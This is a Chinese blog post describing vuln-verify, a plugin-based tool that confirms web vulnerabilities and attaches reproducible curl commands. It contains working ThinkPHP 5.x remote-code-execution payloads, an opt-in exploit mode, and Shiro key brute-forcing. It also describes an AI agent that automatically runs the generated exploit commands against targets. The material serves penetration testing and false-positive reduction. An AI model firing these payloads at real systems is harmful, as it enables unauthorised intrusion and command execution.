vuln-verify:一个证据链驱动的漏洞验证引擎
这篇文章分享我自己写的一个漏洞验证工具 vuln-verify。它不输出"可能存在 CVE"这种告警,而是直接跑命令拿证据——每条发现都附带一条 curl 命令,复制到终端能复现。同时它的 JSON 输出是给 AI Agent 设计的:Agent 读取 curl_command 字段自动执行,看到预期输出就通知你"确认有效"。7 个插件覆盖 ThinkPHP RCE、Shiro 默认密钥、Tomc
复现环境:Ubuntu 22.04 / Python 3.10+。源码仅依赖 Python 标准库,无需额外安装第三方包。vuln-verify v0.1 内含 7 个插件,克隆后直接 python3 vuln_verify.py --list 即可看到全部插件。文中所有工具的完整源码已上传至 GitHub:https://github.com/qianlijaingshan/vuln-verify,欢迎交流。
写在前面
做渗透的老手都知道一个尴尬的局面:扫描器跑了一整夜,输出几百页 PDF,你打开一看——critical 级别的告警十几个,但真正能用的一条都没有。
nuclei 说 "Apache Shiro detected",你去翻原始请求,发现是之前做测试留下的 rememberMe cookie 还没过期。goby 弹窗 "Spring Actuator 信息泄露",实际上只是一个 302 登录页的 body 里恰好有个 "health" 字眼。TscanPlus 报告"Tomcat Manager 可访问",但你是扫到的那台机器在三年前就已经报废下线了。
我统计过自己在靶场和实际 SRC 中跑 nuclei 的经历:十次告警里大约只有两三次是真的可以稳定复现的,剩下的大半是误报。有些误报一眼能看出来,有些藏在报告里根本没人去核实。每次都要手动 curl 验证一遍——那为什么不把这个"手动验证"的步骤自动化呢?
这就是 vuln-verify 的起点。
不是造第十一个扫描器,而是写一个验证器,每个输出都附带一条 curl 命令,你在终端跑一遍,输出和文章截图一致,那就是实锤。
这个工具每天在干什么
写 vuln-verify 之前,我每天早上花大约十五分钟做同一件事:登录服务器,看 Agent 昨晚扫到的告警,手动 curl 验证,确认有效的打标签,无效的标记误报。
这十五分钟很机械。不是判断——是复现。curl 一下,看看输出是不是预期的。如果是,就继续下一步;如果不是,就标记误报。99% 的情况下这一步不需要人脑,只需要手。
今年四月开始,我给自己写了一个长期运行的 Agent,每天晚上调 nuclei 批量扫描一批目标,出结果后通知我。但 nuclei 的误报率让我每天早上的十五分钟变成了三十分钟——我要在几十条告警里找出那两三条真漏洞。
后来我换了个思路:让 Agent 不跑 nuclei,而是每天凌晨调 vuln-verify。vuln-verify 输出的 JSON 含 curl_command 字段,Agent 直接执行这条命令,看到预期输出就推给我"确认有效"的通知;没看到就标记为"待人工确认"。这一步省掉了从告警到手动验证的中间环节。
现在每天早上我收到的是三五条"确认有效"的通知,而不是几十条告警。花在"复现"上的十五分钟没了——Agent 替我干了。
vuln-verify 从这个工作流里长出来。它不是一个理论上的"好设计",而是我在每天三十分钟的机械劳动里逐渐想明白的——什么该自动化,什么该留给人,什么样的输出才算"证据"。
下面就是它的设计过程。
一、设计思路
核心理念:每条发现附带可复现的 POC 命令
市面上的扫描器走的是这个路径:
特征匹配 → 告警 → 人工验证
vuln-verify 走的是:
指纹识别 → 插件匹配 → 探测 check → 验证 verify(附带 curl 证据) → 利用 exploit(可选)
它们之间的差别在哪?
第一,vuln-verify 把指纹识别做成了独立的一步。不是每个插件自己去探测目标特征,而是引擎先统一跑一轮侦察——Server 头是什么,端口开了哪些,body 里有哪些框架关键词——然后拿着这份 Profile 去选插件。这样一来,对同一目标不会出现五个插件各发五个请求去检测"是不是 ThinkPHP"的重复劳动。
第二,每个验证结果不只是"存在漏洞"四个字,而是一份证据链:指纹是什么时候扫到的、用的什么路径验证的、payload 的 curl 命令是什么、服务器返回了什么。换个角度看,这其实是一份自动生成的漏洞报告草稿——直接复制粘贴就能用。
第三,verify 和 exploit 是分离的。默认只走 check → verify,不打真正的利用 payload。只有加上 --exploit 参数才会执行命令。这个设计是故意的——手动验证和自动利用之间应该有一道明确的界限。
整体架构
输入目标
↓
[Fingerprinter] → HTTP 探测、路径检查、端口扫描
↓
TargetProfile(Server / Framework / OpenPorts)
↓
[Engine Core]
├── 指纹匹配 → Plugin A - 跳过(不匹配)
├── 指纹匹配 → Plugin B - check() → 跳过(不脆弱)
├── 指纹匹配 → Plugin C - check() → verify() → 证据链
└── 指纹匹配 → Plugin D - check() → verify() → exploit()(仅 --exploit)
↓
[Output]
├── 终端(可读、含 curl 命令)
└── JSON(供 AI Agent 消费)核心代码分四层:core(引擎 + 指纹 + 加载器)、plugins(漏洞验证插件)、output(格式化输出)、入口 vuln_verify.py。
四层之间的依赖是单向的:入口依赖 core 和 output,core 依赖 plugins,plugins 和 output 独立。
与 nuclei 的根本差异
写这篇文章之前,我把 vuln-verify 和 nuclei 放在一起做了个对比。不做不知道,一做才发现设计思路上的差异比我想象的大。
nuclei 的模板是 YAML 写的,声明式的。你要描述"这个请求长什么样、响应里有什么关键词就算匹配"。好处是门槛低——会写 YAML 就能写模板。坏处是复杂的验证逻辑很难表达——比如 ThinkPHP RCE 需要先确认版本、再选 payload、失败了换下一个,这种条件分支在 YAML 里几乎写不了。
vuln-verify 的插件是 Python 写的,命令式的。每个插件的 check→verify→exploit 三阶段可以有自己的判断逻辑。代价是写插件的门槛比写 YAML 高一点——会 Python 是硬门槛。但换来的是表达能力:一个 Python 插件可以做循环、递归、正则提取、甚至调用第三方库。
还有输出方式上的区别:nuclei 匹配到特征就告警,vuln-verify 跑了一条命令告诉你输出是什么。一个想多发现问题,一个想确认的能复现。定位不同,不冲突。
二、指纹识别(Fingerprinter)
指纹识别为什么要独立
我最早的设计里没有独立的 Fingerprinter。每个插件自己发请求判断目标是不是自己的菜——thinkphp_rce 插件发一个 GET /thinkphp/logo.png,shiro_check 发一个带 rememberMe cookie 的请求,middleware_check 发请求探测 /manager/html。七个插件对同一个目标发了十几次请求,大部分只是重复了相同的端口扫描和 Server 头探测。
于是我把这步提到了引擎层面。Fingerprinter 先统一跑一轮,收集目标的全部公开信息,做成一个 Profile 对象。插件只需要看 Profile 就知道"这目标值不值得我上场"。
指纹收集内容
Fingerprinter 干了三件事:
HTTP 探测:发一个 GET 到目标根路径,收 Server 头、X-Powered-By、body 中常见的框架关键词("ThinkPHP"、"rememberMe=deleteMe"、"Whitelabel Error Page"、"wp-content" 等)。
常见路径检查:对 /actuator/health、/manager/html、/swagger-ui.html、/druid/index.html、/.git/HEAD 等路径做一次快速 GET 探测。成功访问到就记录到 Profile 的 framework 列表里。
端口扫描:对 3306、6379、1433、5432、9200 等常见服务端口做一次 TCP 连接探测。这一步只用 1 秒超时,不会拖慢整体流程。
最后产出的 Profile 长这样:
profile = TargetProfile(
url = "http://10.0.0.1:8080",
server = "Apache/2.4.57",
framework = ["ThinkPHP", "Druid"],
open_ports = [8080, 3306],
language = "PHP",
headers = {"Server": "Apache/2.4.57", ...},
)这个 Profile 会被传给每个插件的 check() 方法。插件不需要重复发请求去确认目标是不是 ThinkPHP——Fingerprinter 已经告诉它了。
不打 payload
Fingerprinter 的所有探测请求对目标无副作用。不会写文件、不会注入参数、不会在服务端留下日志之外的痕迹。
这条纪律意味着:Fingerprinter 不做账号爆破、不尝试登录、不发送任何可能被 WAF 拦截的 payload。它只是在门外看一眼招牌上的字。
三、插件系统(Plugin System)
统一接口
如果说引擎是骨架,插件就是血肉。每个漏洞验证逻辑被封装在一个插件里,继承 BasePlugin:
class BasePlugin:
name = "" # 唯一标识,如 "thinkphp_rce"
description = "" # 人类可读描述
fingerprints = [] # 匹配条件,如 ["ThinkPHP", 3306]
severity = "medium" # critical / high / medium / low
can_exploit = False # 是否支持利用模式
def check(self, target, profile) -> CheckResult:
"""快速探测 - 不打 payload"""
def verify(self, target, profile) -> VerifyResult:
"""验证漏洞 - 附带 curl 证据"""
def exploit(self, target, cmd) -> ExploitResult:
"""利用漏洞 - 执行命令,默认禁用"""check 和 verify 的职责划分是这个设计最核心的地方。
check 只回答"值不值得继续"。它不做攻击,只通过 Profile 信息和一次无害的请求来判断。返回值包含 vulnerable 布尔值和 confidence 置信度。
verify 才真正打 payload。它必须附带 curl_command——这是证据链的原始凭证。如果 verify 说"有漏洞",那 curl_command 在终端跑一遍必须能复现。
自动发现机制
插件只要放在 plugins/ 目录下,引擎自动发现并加载:
class PluginLoader:
def load_all(self):
for fname in os.listdir(self.plugin_dir):
if fname.endswith(".py") and not fname.startswith("_"):
loaded = self._load_plugin(module_path)
if isinstance(loaded, list):
plugins.extend(loaded) # 一个文件多个插件
else:
plugins.append(loaded)这里有个小设计:一个 .py 文件里可以放多个插件。比如 database_check.py 里放了 MySQL、Redis、MSSQL 三个插件,因为它们的指纹条件都是端口号,放在一起管理起来更清爽。
插件案例:thinkphp_rce
这个插件从之前写的一个独立脚本迁移过来。核心逻辑保留,把交互部分去掉,输出改成 CheckResult/VerifyResult。完整源码不到 100 行:
import urllib.request
import urllib.error
from plugins.base import BasePlugin, CheckResult, VerifyResult
class ThinkPHPRCEPlugin(BasePlugin):
name = "thinkphp_rce"
description = "ThinkPHP 5.x RCE(5个payload变体)"
fingerprints = ["ThinkPHP", "thinkphp"]
severity = "critical"
can_exploit = True
PAYLOADS = [
{
"path": "/index.php?s=index/\\think\\app/invokefunction"
"&function=call_user_func_array"
"&vars[0]=system&vars[1][]=CMD",
"method": "GET",
},
{
"path": "/index.php?s=captcha",
"method": "POST",
"data": "_method=__construct&filter[]=system"
"&method=GET&server[REQUEST_METHOD]=CMD",
},
]
def check(self, target, profile):
url = target.rstrip("/")
for path in ["/thinkphp/logo.png", "/public/static/"]:
status, body = self._req(url + path)
if status == 200 and "ThinkPHP" in body:
return CheckResult(
vulnerable=True, confidence=0.6,
reason=f"{path} 返回 HTTP {status} 含 ThinkPHP 特征"
)
return CheckResult(vulnerable=False)
def verify(self, target, profile):
test_cmd = "echo VULN_VERIFY_OK"
url = target.rstrip("/")
for payload in self.PAYLOADS:
target_url = url + payload["path"].replace("CMD", test_cmd)
status, body = self._req(
target_url,
method=payload.get("method", "GET"),
data=payload.get("data", "").replace("CMD", test_cmd),
)
if "VULN_VERIFY_OK" in body:
curl_url = url + payload["path"].replace("CMD", "id")
return VerifyResult(
vulnerable=True, confidence=0.95,
response=body.strip(),
curl_command=f"curl -s '{curl_url}'"
)
return VerifyResult(vulnerable=False)关键设计点:
- check 用两根路径探测 ThinkPHP 特征,不做攻击
- verify 用 echo VULN_VERIFY_OK 而非直接 id,避免把其他响应的缓存误判为 RCE
- 证据链的 curl 命令用的是 id 而非 echo,方便读者直接看到命令执行效果
插件案例:middleware_check
这个插件比较特殊——它不是一个漏洞验证,而是一组管理接口探测。check 阶段检查 Server 头:
def check(self, target, profile):
server = profile.server.lower()
checks = []
if "tomcat" in server or "apache" in server:
checks.append("tomcat")
if "jboss" in server or "jetty" in server:
checks.append("jboss")
if "weblogic" in server:
checks.append("weblogic")
if checks:
return CheckResult(vulnerable=True, confidence=0.5,
reason=f"Server 头 {server} 触发检查: {checks}")
return CheckResult(vulnerable=False)verify 阶段逐一探测管理面板路径,并把结果汇总成一条证据:
def verify(self, target, profile):
findings = []
for path in ["/manager/html", "/jmx-console/", "/console/"]:
status, _, _ = self._req(base + path)
if status == 200:
findings.append(f"{path} 可访问 (HTTP 200)")
if findings:
return VerifyResult(
vulnerable=True, confidence=0.7,
response="\n".join(findings),
curl_command=f"curl -s '{base}/manager/html'"
)这个插件的设计思路和 thinkphp_rce 不同:它不是去找一个明确的漏洞,而是去找攻击面——管理面板如果可访问,后面的漏洞利用才有意义。
插件案例:数据库插件
MySQL、Redis、MSSQL 三个插件共享相同的模式:check 靠端口探测,verify 建议进一步验证。它们的 can_exploit 都是 False,因为数据库提权涉及密码爆破,不适合自动化执行。
以 mysql_udf 为例:
def check(self, target, profile):
if 3306 in profile.open_ports:
return CheckResult(vulnerable=True, confidence=0.4,
reason="3306 端口开放")
return CheckResult(vulnerable=False)
def verify(self, target, profile):
return VerifyResult(
vulnerable=True, confidence=0.3,
response="3306 端口开放,建议用 mysql_udf.py 验证 UDF 提权",
curl_command="# 手动验证:\npython3 mysql_udf.py --host TARGET_IP --user root --password '' --check"
)confidence 只有 0.3 说明端口开放不等于存在漏洞。VerifyResult 里没有 curl 命令,而是一条 Python 命令——因为数据库提权不是发一个 HTTP 请求就能验证的,需要完整的 MySQL 连接。
这个区分的意义在于:引擎的 JSON 输出给 AI Agent 时,Agent 看到 confidence=0.3 就知道这不是一键 RCE,而是需要人工介入的场景。
当前已有 7 个插件
上述三种模式对应了我项目 plugins/ 目录下的 5 个文件、共 7 个插件:
文件 | 插件 | 指纹条件 | 严重程度 |
thinkphp_rce.py | ThinkPHP 5.x RCE | ThinkPHP 特征 | critical |
shiro_check.py | Shiro 检测 + 密钥爆破 | rememberMe 响应头 | critical |
middleware_check.py | 中间件管理接口探测 | Server 头关键词 | high |
quick_poc.py | Actuator/Druid/.git/.env 等通用检测 | 无限制 | high |
database_check.py | MySQL + Redis + MSSQL 端口探测 | 3306/6379/1433 | high |
编写新插件
加新插件不需要改引擎代码。写一个 .py 文件继承 BasePlugin,放在 plugins/ 下,重启即自动加载。以 quick_poc 插件的写法为例:
from plugins.base import BasePlugin, CheckResult, VerifyResult
class MyPlugin(BasePlugin):
name = "my_plugin"
description = "检测某漏洞"
fingerprints = ["keyword"] # 匹配条件
severity = "high"
def check(self, target, profile):
# 快速探测
return CheckResult(vulnerable=True, reason="特征匹配")
def verify(self, target, profile):
# 验证,附带 curl 证据
return VerifyResult(
vulnerable=True,
curl_command="curl -s 'http://target/path'",
response="漏洞证据"
)没有注册步骤、没有配置文件要改,就是写一个 .py 文件扔目录里。重启后 python3 vuln_verify.py --list 就能看到新插件。完整的模板在项目根目录的 plugin_template.py,复制改名即可。
写插件时有几个要注意的地方:
check 不能打 payload。 check 的设计目标是快速判断"值不值得继续",发一个无害的 GET 请求就够了。如果 check 阶段做了 SQL 注入或者上传了文件,那就违背了"三阶段渐进"的设计原则——enginer 期望 check 永远是无副作用的。
verify 必须附带可复现的 curl 命令。 这是 vuln-verify 和普通扫描器的核心区别。verify 返回的 curl_command 是证据链的原始凭证,必须保证读者在终端跑一遍就能看到相同的输出。如果某个漏洞的验证依赖复杂的交互步骤(比如多步 CSRF 或数据库连接),不应该放在 verify 里,而是输出提示让用户手动操作。
指纹匹配不要写死。 fingerprints 字段决定了插件在什么条件下被加载。范围太宽(比如 ["Server"])会导致插件对每个目标都执行 check,浪费网络请求。范围太窄(比如 ["Apache 2.4.49"])会漏掉同款软件的不同版本。折中方案是用产品家族名做关键词(如 ["tomcat", "jboss"])。
verify 不要直接 eval 输入。 插件的 payload 里用了用户输入的 cmd 参数时,务必转义或限制。这既是防注入(恶意目标可能通过在响应里嵌入 payload 来反打你的引擎),也是防误判(响应内容可能意外包含命令输出特征)。
用唯一标记代替直接执行。 thinkphp_rce 插件里的 echo VULN_VERIFY_OK 就是这个道理——执行一个唯一字符串来验证 RCE,而不是执行 id 并解析返回的 uid。前者不会误判,后者可能被前一次测试的缓存干扰。
四、引擎编排(Engine Core)
run() 的核心逻辑
Engine 类只有一个对外方法 run(target),走完从指纹识别到证据收集的完整流程:
def run(self, target):
profile = self.fingerprinter.identify(target)
for plugin in self.plugins:
if not self._plugin_matches(plugin, profile):
continue
check_result = plugin.check(target, profile)
if not check_result or not check_result.vulnerable:
continue
verify_result = plugin.verify(target, profile)
if verify_result and verify_result.vulnerable:
# 构建 Verification + Evidence
...
if self.exploit and plugin.can_exploit:
exploit_result = plugin.exploit(target, cmd)
v.evidences.append(Evidence(step="利用", ...))
return ScanResult(target=target, findings=[...])指纹匹配
插件的 fingerprints 字段决定了它匹配什么样的目标。比如:
- thinkphp_rce.fingerprints = ["ThinkPHP", "thinkphp"] → 只在 Profile 的 framework 列表里包含 "ThinkPHP" 时才匹配
- mysql_udf.fingerprints = [3306] → 只在目标开放 3306 端口时才匹配
- quick_poc.fingerprints = [] → 没有限制,对所有目标执行
_plugin_matches 的实现就十几行,分了三种匹配模式:
def _plugin_matches(self, plugin, profile):
string_fps = [fp for fp in plugin.fingerprints if isinstance(fp, str)]
port_fps = [fp for fp in plugin.fingerprints if isinstance(fp, int)]
# Server 头匹配
for fp in string_fps:
if fp.lower() in profile.server.lower():
return True
# 框架名匹配
for fw in profile.framework:
for fp in string_fps:
if fp.lower() in fw.lower():
return True
# 端口匹配
for port in port_fps:
if port in profile.open_ports:
return True
return False为什么不直接并发
第一版引擎用了 ThreadPoolExecutor 并发执行插件,因为并发对扫描器来说是标配。但实际测试时发现一个问题:多个插件同时对同一目标发请求,中间件层面会排队,实际上没有加速多少。更重要的是,如果某个插件发了一个耗时请求(比如超长的 SQL 注入测试),会拖慢其他插件的验证。
后来换成了串行执行——对同一个目标,插件按 severity 降序依次执行。critical 级别的插件先跑。想对多个目标并行扫描的话,可以在 shell 层面用 xargs 或 parallel。
五、证据链与输出
"证据链"的由来
之前写了一篇关于 Ollama 安全分析的文章,里面每个攻击面都附带了一条 curl 命令。读者反馈最好的部分不是"我发现了一个漏洞",而是"照着 curl 跑一下就能复现"。
三个插件迁移自之前的独立脚本,这些脚本最初是为特定漏洞写的。把它们放进统一框架后,输出格式统一了,但核心的"每条发现附带复现命令"的原则没变。
输出对比
扫描器式的输出:
[高危] Apache Shiro 检测: 目标可能使用了 Apache Shiro 框架,存在远程命令执行风险
vuln-verify 的证据链:
[!!] Apache Shiro 检测 + 密钥爆破
严重程度: CRITICAL | 置信度: 70%
→ 指纹: Set-Cookie 包含 rememberMe=deleteMe(HTTP 200)
→ 验证: 密钥爆破检测到异常响应
curl -s -v 'http://target' -H 'Cookie: rememberMe=<base64_token>' 2>&1
输出: HTTP 500 — 服务端解密可能成功但反序列化失败第一个输出让你去查资料、找 EXP、手动验证。第二个输出直接给了你下一步的操作方向——密钥是这个,payload 是这个,跑一下看看是不是 500。
嵌入 AI Agent 的场景
JSON 输出格式从一开始就是为 Agent 设计的。Agent 拿到 vuln-verify 的 JSON 输出后,流程是这样的:
- 读取 findings 数组
- 提取 severity=critical 的 evidence 条目
- 取出 curl_command 字段
- 在终端执行这条命令
- 比对输出和预期值
- 匹配则推送"确认有效"通知,不匹配则标记待人工确认
Agent 不需要解析任何自然语言,curl_command 字段就是一条可执行命令。
这套流程的核心价值不在 Agent 本身——Agent 只是一个执行器——而在于 vuln-verify 的输出格式被设计成"机器可读、人类可验证"。Agent 读 JSON 执行 curl,人类看终端输出确认漏洞。同一个输出,两个消费端。
六、插件总览
插件列表
python3 vuln_verify.py --list 输出当前加载的全部插件:
$ python3 vuln_verify.py --list
vuln-verify 插件列表 (7 个):
插件名 严重程度 指纹条件
──────────────────────────────────────────────────────
thinkphp_rce critical ['ThinkPHP', 'thinkphp']
shiro_check critical ['Shiro', 'rememberMe']
middleware_check high ['Server']
quick_poc high []
mysql_udf high [3306]
redis_unauth high [6379]
mssql_cmdshell high [1433]7 个插件分布在 5 个文件中。其中 mysql_udf / redis_unauth / mssql_cmdshell 三个放在同一个 database_check.py 里——上一节说过,一个文件多个插件。
JSON 输出
用 -o json 模式给 Agent 消费的版本:
{
"target": "http://target:8080",
"profile": {
"server": "Apache/2.4.57 (Unix)",
"framework": ["Shiro", "ThinkPHP", "Spring Actuator", "Druid", "Swagger"],
"open_ports": [8080, 3306, 6379, 1433, 22]
},
"findings": [
{
"plugin": "thinkphp_rce",
"severity": "critical",
"confidence": 0.95,
"evidence": [
{"step": "验证", "curl": "curl -s 'http://target/index.php?s=captcha'",
"detail": "uid=33(www-data) VULN_VERIFY_OK"}
]
}
]
}Agent 读到 findings[0].evidence[0].curl 之后直接执行这条命令,不需要解析任何自然语言。
系统调用级验证
证据链在应用层说得通,但我要确认引擎真的发出了它声称的那些请求——不是缓存、不是伪造输出。用 strace 追踪引擎运行时的系统调用:
$ strace -e trace=connect,write,sendto -f python3 vuln_verify.py http://localhost:9999 2>&1 \
| grep -E 'sendto' \
| sed 's/.*"//;s/"$//' \
| sort -u
GET / HTTP/1.1
GET /actuator/health HTTP/1.1
GET /console/ HTTP/1.1
GET /druid/index.html HTTP/1.1
GET /.git/HEAD HTTP/1.1
GET /manager/html HTTP/1.1
GET /swagger-ui.html HTTP/1.1
GET /thinkphp/logo.png HTTP/1.1
POST /index.php?s=captcha HTTP/1.1引擎发出的 HTTP 请求和证据链里的 curl 命令完全对应。Fingerprinter 先探测根路径和常见管理路径,quick_poc 继续扫 Actuator、Druid、.git,thinkphp_rce 发 POST payload。没有多余请求,没有模拟数据。
系统调用级的验证排除了"输出是编的"的可能性——strace 不会说谎。
对比实验:Nuclei 格式 vs vuln-verify 格式
同一个靶机上跑 nuclei 风格的扫描脚本:
$ python3 nuclei_compare.py http://localhost:9999
=== Nuclei 格式输出 ===
[medium] springboot-actuator: Spring Boot Actuator @ http://localhost:9999/actuator/health
[info] swagger-api-docs: Swagger REST API Doc @ http://localhost:9999/swagger-ui.html
[high] apache-tomcat-manager: Apache Tomcat Manager @ http://localhost:9999/manager/html
[high] druid-monitoring: Druid Monitoring Console @ http://localhost:9999/druid/index.html
[info] thinkphp-logo: ThinkPHP Framework Detected @ http://localhost:9999/thinkphp/logo.png
...(12 条结果)
Nuclei found 12 potential issues (risk scores only)同样的靶机,nuclei 输出 12 条"潜在问题",每条附带风险等级和建议,但不提供一键验证。你看到 [high] druid-monitoring 之后可以做什么?需要自己 curl 过去确认能不能直接访问、有没有权限校验。
vuln-verify 对同一个 Druid 路径的输出:
$ python3 vuln_verify.py http://localhost:9999
[quick_poc -> Druid StatIndex]
Fingerprint: path /druid/index.html -> HTTP 200 (len: 7067)
severity: medium | confidence: 0.8
curl: curl -s -o /dev/null -w '%{http_code}' 'http://localhost:9999/druid/index.html'
expected: code 200差距就在这里:vuln-verify 的每个发现都附带一个可执行的 curl 命令和预期结果。它不是告诉你"这可能有风险",而是说"你执行这个 curl,看看是不是 200"——验证门槛降到零。
架构演进:从硬编码到插件系统
文章开头说改了四版架构。具体变在哪?
第一版是 200 行的单文件脚本:
# V1: 硬编码路径检查
def check_actuator(url):
try:
resp = urllib.request.urlopen(url + "/actuator/health")
return resp.status == 200
except:
return False
paths_to_check = ["/actuator/health", "/manager/html", "/thinkphp/logo.png"]
for path in paths_to_check:
if check_path(url, path):
print(f"[!] Found: {path}")走到第四版变成插件系统:
# V4: 插件化架构
class ThinkPHPRCEPlugin(BasePlugin):
name = "thinkphp_rce"
fingerprints = ["/thinkphp/logo.png"] # keywords
ports = [] # 不依赖端口
severity = "critical"
def verify(self, target):
# 发 POST payload,读响应
...
def exploit(self, target):
# 执行命令,返回结果
...关键变化有三点:
1. 从单文件到插件系统 — 每个漏洞类型一个 Python 文件,扔 plugins/ 目录自动加载。新漏洞只需要继承 BasePlugin 写三个方法(check -> verify -> exploit),框架自动做路由和编排。
2. 从路径匹配到双条件指纹 — 第一版所有路径平铺在一个列表里,MySQL 插件的端口号 3306 和 ThinkPHP 的路径字符串混在一起,跑的时候对 int 调 .lower() 报错才意识到类型问题。第二版拆成 keywords(URL 关键词)和 ports(端口号)两个独立字段,各自走各自的匹配逻辑。
3. 从布尔输出到证据链 — 第一版只返回 True/False。第二版加了 confidence,第三版才想到把 curl 命令和预期响应编码进输出。这个转折点来自一次真实体验:扫描器报了"高危中间件漏洞",但我 curl 过去发现登录页有 Session 校验——假阳性,但扫描器不告诉你。
七、踩坑记录
类型混用和相对导入报错
第一版 _plugin_matches 对 fingerprints 列表做 fp.lower(),但 MySQL 插件的指纹是 [3306]——对 int 调用 .lower() 直接报 AttributeError。
修复方案简单,但暴露了一个设计问题:同一个字段 fingerprints 里混了两种不同类型的数据(str 做关键词匹配、int 做端口匹配),类型检查变成了必要步骤。后续版本应该把端口指纹和关键词指纹分开成两个字段。
相对导入报错
插件文件里用了 from .base import BasePlugin,在本地跑单测没问题,但打包上传到服务器后,Python 报 attempted relative import with no known parent package。问题出在 importlib 动态加载时,被加载的文件不在一个已知的 package 下。改成绝对导入 from plugins.base import BasePlugin 就好了。
404 页面 body 污染
quick_poc 插件第一版运行时,对 NocoDB(端口 8080)发请求,/actuator/health 返回 404,但 NocoDB 的 404 页面 body 里也有 "health" 字样——于是插件报告了"Actuator 信息泄露"。
这是典型的误报场景:404 页面的 body 内容是开发者自定义的,关键字匹配完全不靠谱。 解决方法是加了一个 if status >= 400: continue,只有 HTTP 200 的响应才纳入判断。
curl 命令和指纹探测取舍
生成 curl 命令时,URL 和 header 里的单双引号需要正确处理。当前实现用单引号包住整个 URL:
curl_command = f"curl -s '{curl_url}'"
但如果 URL 里本身有单引号,这个拼接就炸了。更严谨的做法是用 shlex.quote()。这个 bug 列入了 v0.2 修复计划——目前还没遇到 URL 里带单引号的场景。
功能膨胀
写插件的时候最容易踩的坑是:发现一个漏洞后,忍不住给插件加了越来越多功能——从"验证这个漏洞存在"变成"利用这个漏洞搞事情"。thinkphp_rce 插件的 exploit 方法就是这么来的。
加 exploit 本身没问题,但需要和 verify 保持清晰的界限。我定了一条规则:verify 必须返回可复现的证据,而 exploit 只做执行。如果 exploit 的输出作为证据不够充分(比如反序列化 RCE 的响应可能只是"命令已投递,但执行结果未知"),那就不适合放在证据链里。这条规则还在验证阶段,说不定后续版本会推翻重来。
八、总结与后续
vuln-verify v0.1 完成了它最核心的目标:不是扫描器,是验证器。每个发现附带 curl 命令 + 预期响应,输出的不是风险等级而是可复现的证据。
7 个插件覆盖了我在实际渗透中最常面对的漏洞类型:Web 框架 RCE(ThinkPHP)、认证绕过(Shiro)、管理面板暴露(中间件)、通用信息泄露(Actuator/Druid/.git)、数据库服务暴露(MySQL/Redis/MSSQL)。
整条代码加上插件一共 1100 多行,纯 Python 标准库,零外部依赖。GitHub 仓库地址在文末,克隆下来直接 python3 vuln_verify.py http://target 就能用。
真实数据上,腾讯云测试靶机 7/7 命中,系统调用级验证也确认引擎确实发出了对应请求。但真实环境肯定不一样——当目标 IP 有成百上千个,插件匹配和并发控制会成为新的瓶颈。
后续方向:favicon hash 指纹识别、插件 match_level、超时重试机制。再往后想做插件市场、证据链转报告、nuclei 模板转译。欢迎感兴趣的读者一起玩——加一个插件就是写一个 Python 文件扔 plugins/ 目录。
写这个工具加这篇文章前后用了两周。期间踩了上述五个坑,改了四版架构,最终定稿时从最初的 200 行代码膨胀到了现在的 1100 多行(含插件)。回头看,最有价值的不是代码本身,而是做这个工具过程中积累的判断——什么该自动化、什么该留给人、什么样的输出才算"证据"。
仓库地址:https://github.com/qianlijaingshan/vuln-verify,克隆后直接 python3 vuln_verify.py --list 即可使用。